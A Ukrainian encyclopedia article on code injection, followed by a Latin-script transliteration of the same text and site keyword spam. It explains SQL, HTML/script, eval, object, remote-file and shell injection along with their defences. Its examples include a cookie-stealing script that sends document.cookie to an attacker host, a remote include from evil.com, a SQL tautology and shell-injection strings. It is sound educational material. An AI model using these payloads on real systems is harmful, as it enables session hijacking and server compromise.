Включення коду — це використання програмних помилок для обробки невірних даних. Включення коду може бути використане зловмисником для введення (включення) коду в комп'ютерну програму, щоб змінити хід її виконання. Наприклад, включення коду використовується для поширення комп'ютерних хробаків.
Включення коду трапляється тоді, коли програма надсилає неперевірені дані інтерпретатору. Недоліки включення коду дуже поширені в унаслідуваному коді. Вони часто трапляються у SQL, LDAP, Xpath, або NoSQL запитах; командах операційної системи; синтаксичних аналізаторах XML, заголовках STMP, аргументах програми. Включення коду легко виявити при перегляді коду, проте його дуже важко виявити тестуванням. Сканери та фузери допомагають зловмисникам виявляти вразливості включення коду.
Включення коду може призвести до пошкодження чи втрати даних, відсутності звітності або відмови в доступі. Інколи включення коду може призвести навіть до зміни хосту.
Деякі типи включення коду призводять до помилок інтерпретації, надаючи спеціальне значення простому вводу користувача. Це чимось схоже на нездатність розрізняти імена і звичайні слова. За тим же принципом в деяких видах вставленого коду важко розрізнити ввід користувача і системні команди.
Техніка включення коду є поширеною при та зломі з метою отримання інформації, отриманні привілейованого або анонімного доступу до системи. Включення коду можна використовувати у зловмисних цілях, зокрема:
- Довільно змінювати вміст бази даних через так звані SQL інєкції. Наслідком може бути як порушення роботи сайту, так і компрометація конфіденційних даних.
- Встановлення шкідливих програм або виконання шкідливого коду на сервері через включення скрипт коду сервера(наприклад PHP чи ASP).
- Отримання доступу до кореневої папки використовуючи вразливості включення Shell.
- Атаки інтернет-користувачів за допомогою включення HTML/Script (міжсайтовий скриптинг).
Ненавмисне використання включень коду
Інколи включення коду можуть використовувати з хорошою метою. Наприклад, використовуючи включення коду можна обманути систему, і змусити її поводитися певним чином без злого наміру. Наприклад, завдяки включенню коду можна:
- Ввести нову корисну колонку на сторінці пошуку, якої немає в стандартному дизайні.
- Надати можливість сортувати, впорядковувати, або групувати дані, використовуючи поля, які відсутні в стандартних функціях.
- Для програм як Dropbox, додавати спеціальні модулі, які можна використовувати для підключення до онлайн ресурсів з офлайнової програми.
Користувачі можуть і не знати, що вони роблять включення коду, бо їхній ввід не був врахований розробниками системи. Наприклад:
- Коректні вхідні дані(на думку користувача) можуть містити марковані символи, або слова, що були зарезервовані програмістом для певних значень (це може бути символ "&" в назві компанії або символ лапок).
- Користувач може надіслати файл невірного формату як вхідні дані. І хоч цей файл працює коректно, він заразить системі, яка отримує файл.
Запобігання включення коду
Щоб запобігти проблемі включення коду, використовуйте обробку безпечного вводу/виводу, до якого належать:
- Використання API, яке дасть змогу безпечно опрацювати всі вхідні символи (при правильному використанні). Параметризовані запити дозволяють інтерпретувати переміщені зі стрічки дані користувача.
- Забезпечення мовного поділу використовуючи систему типізації.
- Перевірка вхідних даних, приймаючи лише визначений список валідних даних.
- Використання вхідного кодування.Наприклад в PHP, використання функції
htmlspecialchars()
(перетворює теги HTML в їх еквівалент в стандарті ISO-8859-1) чи функціяstrip_tags()
(видаляє теги HTML) для безпечного виводу тексту в HTML, іmysql_real_escape_string(), щоб
ізолювати дані, які будуть включені в SQL запит, для захисту від SQL ін'єкцій. - Використання вихідного кодування, наприклад захист від міжсайтового скриптингу.
- Модульна оболонка дисоціації від ядра
Усі поради вище стосуються в основному включення коду при роботі з вебаплікаціями. Однак для роботи з включенням коду на комп'ютері користувача використовується дещо інший підхід.
- Хеш-валідація зображення під час виконання — захопити хеш всього зображення або його частини під час виконання завантаження і порівнювати його зі збереженим і очікуваним хешем
- NX біт — всі дані користувача зберігаються в спеціальній ділянці пам'яті, яка має мітку, що ці дані не можна інтерпретувати як вихідний код. Процесор повідомлений, що в цій ділянці пам'яті немає виконуваного коду, тому відмовиться працювати з цими даними як з вихідним кодом.
Приклади включення коду
SQL ін'єкція
SQL ін'єкція використовує переваги синтаксису SQL для включення команд, які можуть читати чи змінювати базу даних або змінити значення оригінального запиту.
Для прикладу, розглянемо вебсторінку, що має два поля для введення імені користувача і пароля. Насправді код сторінки згенерує SQL запит, щоб перевірити існує такий користувач і чи належний пароль він ввів:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password'
Якщо запит повертає рядки, от доступ надається. Однак, якщо зловмисник введе валідне ім'я користувача і валідний код ("password' OR '1'='1"
) в поле "Password", тоді запит буде мати вигляд:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1'
В цьому прикладі, припускається, то поле "Password" є пусте або містить нешкідливий рядок символів. Вираз '1'='1'
завжди буде істинним, тому багато рядків повернуться, тим самим надаючи доступ.
Ця техніка може бути вдосконалена, дозволяючи, наприклад, записувати декілька виразів або навіть завантажувати й запускати зовнішні програми.
Включення HTML скриптів
Вебсервер має скрипт для гостьової книги, який приймає невеликі повідомлення від користувача, як правило отримуючи такі повідомлення
Чудовий сайт!
Однак, зловмисники можуть використати вразливість гостьової книги і скориставшись включенням коду залишити наступне повідомлення
Nice site, I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>
Якщо інший користувач переглядатиме ту ж сторінку, включений код виконається. Код зверху дозволяє зловмиснику видавати себе за іншого користувача. Щоправда, ця ж програмна вразливість може бути викликана й абсолютно невинним користувачем, який ввів наступне повідомлення:
Попередній коментар, >:)
Включення HTML, або як його ще часто називають міжсайтовий скриптинг скриптів є доволі популярною темою. Він належить до помилок включення, коли ввід користувача потрапляє в вихідний HTML код, без перевірки чи це код, чи скрипт.
Багато з цих проблем пов'язані з помилковим припущенням які дані вважати допустимими, або є наслідком спеціальних даних.
Вразливості динамічної оцінки
Стівен М.Крісті з Mitre Corporation запропонував це ім'я для групи вразливостей включення коду.
Вразливість включення коду при використанні функції eval проявляється тоді, коли зловмисник повністю або частково може контролювати аргументи, які передаються в виклик функціїeval()
.
$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');
Аргумент функції "eval
" оброблятимуться як в PHP. Наприклад якщо "arg" присвоїти "10; system('/bin/echo uh-oh')
", запуститься виконання додаткової програми на сервері, в такому випадку"/bin/echo
".
Включення об'єктів
PHP дозволяє серіалізувати й десеріалізовувати цілі об'єкти. Якщо в функцію десіреалізації передати неперевірені дані, то таким чином можна переписати існуючі класи й виконати шкідливі дії.
Віддалене включення в файл
Розглянемо таку PHP програму (вона містить файл визначений запитом):
<?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; require( $color . '.php' ); ?>
Цей код може опрацьовувати файли типу blue.php і red.php. Але зловмисники можуть задати COLOR=http://evil.com/exploit змусивши PHP завантажити зовнішній файл.
Shell ін'єкції
Shell ін'єкції названі так завдяки командній оболонці Linux, але це стосується всіх операційних систем, які дозволяють запуск програм з командного рядка. Типові функції, пов'язані з shell ін'єкціями:system()
[ 24 грудня 2021 у Wayback Machine.], StartProcess()
, і System.
[ 6 січня 2018 у Wayback Machine.]Diagnostics.Process.
[ 6 січня 2018 у Wayback Machine.]Start()
[ 6 січня 2018 у Wayback Machine.].
Розглянемо таку PHP програму, яка запускає зовнішню програму funnytext, щоб
замінити слово надіслане користувачем на інше слово.
<?php passthru("/bin/funnytext " . $_GET['USER_INPUT']); ?>
Ця програма може бути включена різними способами, використовуючи синтаксис різних функцій оболонки (це не повний перелік можливих варіантів):
Shell feature | USER_INPUT value | Resulting shell command | Explanation |
---|---|---|---|
Послідовне виконання | ; | /bin/funnytext ; шкідлива_команда | Виконується funnytext , тоді виконується malicious_command . |
Конвеєр | | | /bin/funnytext | шкідлива_команда | Посилає вивідfunnytext як вхідні дані для malicious_command . |
Заміна команди | ` | /bin/funnytext `шкідлива_команда` | Посилає вивід malicious_command як аргументи для funnytext . |
Заміна команди | $( | /bin/funnytext $(шкідлива_команда) | Посилає вивід malicious_command як аргументи для funnytext . |
Логічний вираз | && | /bin/funnytext && шкідлива_команда | Виконуєтьсяmalicious_command iff funnytext повертає стан завершення 0 (успішно). |
Логічний вираз | || | /bin/funnytext || шкідлива_команда | Виконуєтьсяmalicious_command iff funnytext повертає ненульовий стан завершення (помилка). |
Перенаправлення виводу | > ~/.bashrc | /bin/funnytext > ~/.bashrc | Переписує у файл .bashrc вивід funnytext . |
Перенаправлення вводу | < ~/.bashrc | /bin/funnytext < ~/.bashrc | Надсилає вміст файлу .bashrc як вхідні дані дляfunnytext . |
Деякі мови програмування мають функції для правильного завершення або оцінки стрічок, які використовуються для побудови команд оболонки:
- PHP:
escapeshellarg()
іescapeshellcmd()
- Python:
shlex.quote()
Однак, це не знімає з програміста відповідальності за знання і використання цих функцій. Окрім використання цих функцій також рекомендується валідація і зачистка вводу користувача.
Безпечнішою альтернативою є використання API які виконують зовнішні програми напряму, а не через оболонку, унеможливлюючи тим самим включення в неї. Однак, API не підтримують багатьох зручних функцій оболонок, і їх синтаксис громіздкий в порівнянні з лаконічним синтаксисом оболонки.
Див. також
Посилання
- . OWASP. Архів оригіналу за 28 січня 2016. Процитовано 19 грудня 2013.
- Srinivasan, Raghunathan. (PDF). Arizona State University. Архів оригіналу (PDF) за 29 липня 2010. Процитовано 18 вересня 2010.
Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
- Symptoms-Based Detection of Bot Processes ]J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
- . Архів оригіналу за 6 серпня 2013. Процитовано 3 червня 2015.
{{}}
: Обслуговування CS1: Сторінки з текстом «archived copy» як значення параметру title () - ; (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. с. 254. ISBN .
- (3 травня 2006). Dynamic Evaluation Vulnerabilities in PHP applications. . Процитовано 17 листопада 2008.
- . PHP.net. Архів оригіналу за 9 травня 2015. Процитовано 3 червня 2015.
- Архівована копія. Архів оригіналу за 27 лютого 2015. Процитовано 3 червня 2015.
{{}}
: Обслуговування CS1: Сторінки з текстом «archived copy» як значення параметру title ()
Зовнишні посилання
- Article "" by Robert Kuster
- Article "" by A. Danehkar
- Article "" by A. Danehkar
- Article "" by Tadeusz Pietraszek and Chris Vanden Berghe
- News article "" - First Trojan horse to make use of code injection to prevent detection from a firewall
- The Daily WTF [ 11 грудня 2020 у Wayback Machine.] regularly reports real-world incidences of susceptibility to code injection in software.
Вікіпедія, Українська, Україна, книга, книги, бібліотека, стаття, читати, завантажити, безкоштовно, безкоштовно завантажити, mp3, відео, mp4, 3gp, jpg, jpeg, gif, png, малюнок, музика, пісня, фільм, книга, гра, ігри, мобільний, телефон, android, ios, apple, мобільний телефон, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, ПК, web, Інтернет
Vklyuchennya kodu ce vikoristannya programnih pomilok dlya obrobki nevirnih danih Vklyuchennya kodu mozhe buti vikoristane zlovmisnikom dlya vvedennya vklyuchennya kodu v komp yuternu programu shob zminiti hid yiyi vikonannya Napriklad vklyuchennya kodu vikoristovuyetsya dlya poshirennya komp yuternih hrobakiv Vklyuchennya kodu traplyayetsya todi koli programa nadsilaye neperevireni dani interpretatoru Nedoliki vklyuchennya kodu duzhe poshireni v unasliduvanomu kodi Voni chasto traplyayutsya u SQL LDAP Xpath abo NoSQL zapitah komandah operacijnoyi sistemi sintaksichnih analizatorah XML zagolovkah STMP argumentah programi Vklyuchennya kodu legko viyaviti pri pereglyadi kodu prote jogo duzhe vazhko viyaviti testuvannyam Skaneri ta fuzeri dopomagayut zlovmisnikam viyavlyati vrazlivosti vklyuchennya kodu Vklyuchennya kodu mozhe prizvesti do poshkodzhennya chi vtrati danih vidsutnosti zvitnosti abo vidmovi v dostupi Inkoli vklyuchennya kodu mozhe prizvesti navit do zmini hostu Deyaki tipi vklyuchennya kodu prizvodyat do pomilok interpretaciyi nadayuchi specialne znachennya prostomu vvodu koristuvacha Ce chimos shozhe na nezdatnist rozriznyati imena i zvichajni slova Za tim zhe principom v deyakih vidah vstavlenogo kodu vazhko rozrizniti vvid koristuvacha i sistemni komandi Tehnika vklyuchennya kodu ye poshirenoyu pri ta zlomi z metoyu otrimannya informaciyi otrimanni privilejovanogo abo anonimnogo dostupu do sistemi Vklyuchennya kodu mozhna vikoristovuvati u zlovmisnih cilyah zokrema Dovilno zminyuvati vmist bazi danih cherez tak zvani SQL inyekciyi Naslidkom mozhe buti yak porushennya roboti sajtu tak i komprometaciya konfidencijnih danih Vstanovlennya shkidlivih program abo vikonannya shkidlivogo kodu na serveri cherez vklyuchennya skript kodu servera napriklad PHP chi ASP Otrimannya dostupu do korenevoyi papki vikoristovuyuchi vrazlivosti vklyuchennya Shell Ataki internet koristuvachiv za dopomogoyu vklyuchennya HTML Script mizhsajtovij skripting Nenavmisne vikoristannya vklyuchen koduInkoli vklyuchennya kodu mozhut vikoristovuvati z horoshoyu metoyu Napriklad vikoristovuyuchi vklyuchennya kodu mozhna obmanuti sistemu i zmusiti yiyi povoditisya pevnim chinom bez zlogo namiru Napriklad zavdyaki vklyuchennyu kodu mozhna Vvesti novu korisnu kolonku na storinci poshuku yakoyi nemaye v standartnomu dizajni Nadati mozhlivist sortuvati vporyadkovuvati abo grupuvati dani vikoristovuyuchi polya yaki vidsutni v standartnih funkciyah Dlya program yak Dropbox dodavati specialni moduli yaki mozhna vikoristovuvati dlya pidklyuchennya do onlajn resursiv z oflajnovoyi programi Koristuvachi mozhut i ne znati sho voni roblyat vklyuchennya kodu bo yihnij vvid ne buv vrahovanij rozrobnikami sistemi Napriklad Korektni vhidni dani na dumku koristuvacha mozhut mistiti markovani simvoli abo slova sho buli zarezervovani programistom dlya pevnih znachen ce mozhe buti simvol amp v nazvi kompaniyi abo simvol lapok Koristuvach mozhe nadislati fajl nevirnogo formatu yak vhidni dani I hoch cej fajl pracyuye korektno vin zarazit sistemi yaka otrimuye fajl Zapobigannya vklyuchennya koduShob zapobigti problemi vklyuchennya kodu vikoristovujte obrobku bezpechnogo vvodu vivodu do yakogo nalezhat Vikoristannya API yake dast zmogu bezpechno opracyuvati vsi vhidni simvoli pri pravilnomu vikoristanni Parametrizovani zapiti dozvolyayut interpretuvati peremisheni zi strichki dani koristuvacha Zabezpechennya movnogo podilu vikoristovuyuchi sistemu tipizaciyi Perevirka vhidnih danih prijmayuchi lishe viznachenij spisok validnih danih Vikoristannya vhidnogo koduvannya Napriklad v PHP vikoristannya funkciyi htmlspecialchars peretvoryuye tegi HTML v yih ekvivalent v standarti ISO 8859 1 chi funkciya strip tags vidalyaye tegi HTML dlya bezpechnogo vivodu tekstu v HTML i mysql real escape string shob izolyuvati dani yaki budut vklyucheni v SQL zapit dlya zahistu vid SQL in yekcij Vikoristannya vihidnogo koduvannya napriklad zahist vid mizhsajtovogo skriptingu Modulna obolonka disociaciyi vid yadra Usi poradi vishe stosuyutsya v osnovnomu vklyuchennya kodu pri roboti z vebaplikaciyami Odnak dlya roboti z vklyuchennyam kodu na komp yuteri koristuvacha vikoristovuyetsya desho inshij pidhid Deyaki pidhodi sho vikoristovuyutsya dlya viyavlennya ta izolyaciyi vklyuchennya kerovanogo i nekerovanogo kodu Hesh validaciya zobrazhennya pid chas vikonannya zahopiti hesh vsogo zobrazhennya abo jogo chastini pid chas vikonannya zavantazhennya i porivnyuvati jogo zi zberezhenim i ochikuvanim heshem NX bit vsi dani koristuvacha zberigayutsya v specialnij dilyanci pam yati yaka maye mitku sho ci dani ne mozhna interpretuvati yak vihidnij kod Procesor povidomlenij sho v cij dilyanci pam yati nemaye vikonuvanogo kodu tomu vidmovitsya pracyuvati z cimi danimi yak z vihidnim kodom Prikladi vklyuchennya koduSQL in yekciya SQL in yekciya vikoristovuye perevagi sintaksisu SQL dlya vklyuchennya komand yaki mozhut chitati chi zminyuvati bazu danih abo zminiti znachennya originalnogo zapitu Dlya prikladu rozglyanemo vebstorinku sho maye dva polya dlya vvedennya imeni koristuvacha i parolya Naspravdi kod storinki zgeneruye SQL zapit shob pereviriti isnuye takij koristuvach i chi nalezhnij parol vin vviv SELECT UserList Username FROM UserList WHERE UserList Username Username AND UserList Password Password Yaksho zapit povertaye ryadki ot dostup nadayetsya Odnak yaksho zlovmisnik vvede validne im ya koristuvacha i validnij kod password OR 1 1 v pole Password todi zapit bude mati viglyad SELECT UserList Username FROM UserList WHERE UserList Username Username AND UserList Password password OR 1 1 V comu prikladi pripuskayetsya to pole Password ye puste abo mistit neshkidlivij ryadok simvoliv Viraz 1 1 zavzhdi bude istinnim tomu bagato ryadkiv povernutsya tim samim nadayuchi dostup Cya tehnika mozhe buti vdoskonalena dozvolyayuchi napriklad zapisuvati dekilka viraziv abo navit zavantazhuvati j zapuskati zovnishni programi Vklyuchennya HTML skriptiv Vebserver maye skript dlya gostovoyi knigi yakij prijmaye neveliki povidomlennya vid koristuvacha yak pravilo otrimuyuchi taki povidomlennya Chudovij sajt Odnak zlovmisniki mozhut vikoristati vrazlivist gostovoyi knigi i skoristavshis vklyuchennyam kodu zalishiti nastupne povidomlennyaNice site I think I ll take it lt script gt document location http some attacker cookie cgi document cookie lt script gt Yaksho inshij koristuvach pereglyadatime tu zh storinku vklyuchenij kod vikonayetsya Kod zverhu dozvolyaye zlovmisniku vidavati sebe za inshogo koristuvacha Shopravda cya zh programna vrazlivist mozhe buti viklikana j absolyutno nevinnim koristuvachem yakij vviv nastupne povidomlennya Poperednij komentar gt Vklyuchennya HTML abo yak jogo she chasto nazivayut mizhsajtovij skripting skriptiv ye dovoli populyarnoyu temoyu Vin nalezhit do pomilok vklyuchennya koli vvid koristuvacha potraplyaye v vihidnij HTML kod bez perevirki chi ce kod chi skript Bagato z cih problem pov yazani z pomilkovim pripushennyam yaki dani vvazhati dopustimimi abo ye naslidkom specialnih danih Vrazlivosti dinamichnoyi ocinki Stiven M Kristi z Mitre Corporation zaproponuvav ce im ya dlya grupi vrazlivostej vklyuchennya kodu Vrazlivist vklyuchennya kodu pri vikoristanni funkciyi eval proyavlyayetsya todi koli zlovmisnik povnistyu abo chastkovo mozhe kontrolyuvati argumenti yaki peredayutsya v viklik funkciyieval myvar somevalue x GET arg eval myvar x Argument funkciyi eval obroblyatimutsya yak v PHP Napriklad yaksho arg prisvoyiti 10 system bin echo uh oh zapustitsya vikonannya dodatkovoyi programi na serveri v takomu vipadku bin echo Vklyuchennya ob yektiv PHP dozvolyaye serializuvati j deserializovuvati cili ob yekti Yaksho v funkciyu desirealizaciyi peredati neperevireni dani to takim chinom mozhna perepisati isnuyuchi klasi j vikonati shkidlivi diyi Viddalene vklyuchennya v fajl Rozglyanemo taku PHP programu vona mistit fajl viznachenij zapitom lt php color blue if isset GET COLOR color GET COLOR require color php gt Cej kod mozhe opracovuvati fajli tipu blue php i red php Ale zlovmisniki mozhut zadati COLOR http evil com exploit zmusivshi PHP zavantazhiti zovnishnij fajl Shell in yekciyi Shell in yekciyi nazvani tak zavdyaki komandnij obolonci Linux ale ce stosuyetsya vsih operacijnih sistem yaki dozvolyayut zapusk program z komandnogo ryadka Tipovi funkciyi pov yazani z shell in yekciyami system 24 grudnya 2021 u Wayback Machine StartProcess i System 6 sichnya 2018 u Wayback Machine Diagnostics Process 6 sichnya 2018 u Wayback Machine Start 6 sichnya 2018 u Wayback Machine Rozglyanemo taku PHP programu yaka zapuskaye zovnishnyu programu funnytext shob zaminiti slovo nadislane koristuvachem na inshe slovo lt php passthru bin funnytext GET USER INPUT gt Cya programa mozhe buti vklyuchena riznimi sposobami vikoristovuyuchi sintaksis riznih funkcij obolonki ce ne povnij perelik mozhlivih variantiv Shell feature USER INPUT value Resulting shell command ExplanationPoslidovne vikonannya code shkidliva komanda code bin funnytext shkidliva komanda Vikonuyetsya funnytext todi vikonuyetsya malicious command Konveyer code shkidliva komanda code bin funnytext shkidliva komanda Posilaye vividfunnytext yak vhidni dani dlya malicious command Zamina komandi code shkidliva komanda code bin funnytext shkidliva komanda Posilaye vivid malicious command yak argumenti dlya funnytext Zamina komandi code shkidliva komanda code bin funnytext shkidliva komanda Posilaye vivid malicious command yak argumenti dlya funnytext Logichnij viraz amp amp code shkidliva komanda code bin funnytext amp amp shkidliva komanda Vikonuyetsyamalicious command iff funnytext povertaye stan zavershennya 0 uspishno Logichnij viraz code shkidliva komanda code bin funnytext shkidliva komanda Vikonuyetsyamalicious command iff funnytext povertaye nenulovij stan zavershennya pomilka Perenapravlennya vivodu gt bashrc bin funnytext gt bashrc Perepisuye u fajl bashrc vivid funnytext Perenapravlennya vvodu lt bashrc bin funnytext lt bashrc Nadsilaye vmist fajlu bashrc yak vhidni dani dlyafunnytext Deyaki movi programuvannya mayut funkciyi dlya pravilnogo zavershennya abo ocinki strichok yaki vikoristovuyutsya dlya pobudovi komand obolonki PHP a rel nofollow class external text href http www php net manual en function escapeshellarg php escapeshellarg a i a rel nofollow class external text href http www php net manual en function escapeshellcmd php escapeshellcmd a Python a rel nofollow class external text href https docs python org 3 library shlex html shlex quote shlex quote a Odnak ce ne znimaye z programista vidpovidalnosti za znannya i vikoristannya cih funkcij Okrim vikoristannya cih funkcij takozh rekomenduyetsya validaciya i zachistka vvodu koristuvacha Bezpechnishoyu alternativoyu ye vikoristannya API yaki vikonuyut zovnishni programi napryamu a ne cherez obolonku unemozhlivlyuyuchi tim samim vklyuchennya v neyi Odnak API ne pidtrimuyut bagatoh zruchnih funkcij obolonok i yih sintaksis gromizdkij v porivnyanni z lakonichnim sintaksisom obolonki Div takozhPidkazkova in yekciyaPosilannya OWASP Arhiv originalu za 28 sichnya 2016 Procitovano 19 grudnya 2013 Srinivasan Raghunathan PDF Arizona State University Arhiv originalu PDF za 29 lipnya 2010 Procitovano 18 veresnya 2010 Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements Symptoms Based Detection of Bot Processes J Morales E Kartaltepe S Xu R Sandhu Computer Network Security 2010 Springer Arhiv originalu za 6 serpnya 2013 Procitovano 3 chervnya 2015 a href wiki D0 A8 D0 B0 D0 B1 D0 BB D0 BE D0 BD Cite web title Shablon Cite web cite web a Obslugovuvannya CS1 Storinki z tekstom archived copy yak znachennya parametru title posilannya 2008 Web Security Testing Cookbook Sebastopol CA O Reilly Media Inc s 254 ISBN 978 0 596 51483 9 3 travnya 2006 Dynamic Evaluation Vulnerabilities in PHP applications Procitovano 17 listopada 2008 PHP net Arhiv originalu za 9 travnya 2015 Procitovano 3 chervnya 2015 Arhivovana kopiya Arhiv originalu za 27 lyutogo 2015 Procitovano 3 chervnya 2015 a href wiki D0 A8 D0 B0 D0 B1 D0 BB D0 BE D0 BD Cite web title Shablon Cite web cite web a Obslugovuvannya CS1 Storinki z tekstom archived copy yak znachennya parametru title posilannya Zovnishni posilannyaArticle by Robert Kuster Article by A Danehkar Article by A Danehkar Article by Tadeusz Pietraszek and Chris Vanden Berghe News article First Trojan horse to make use of code injection to prevent detection from a firewall The Daily WTF 11 grudnya 2020 u Wayback Machine regularly reports real world incidences of susceptibility to code injection in software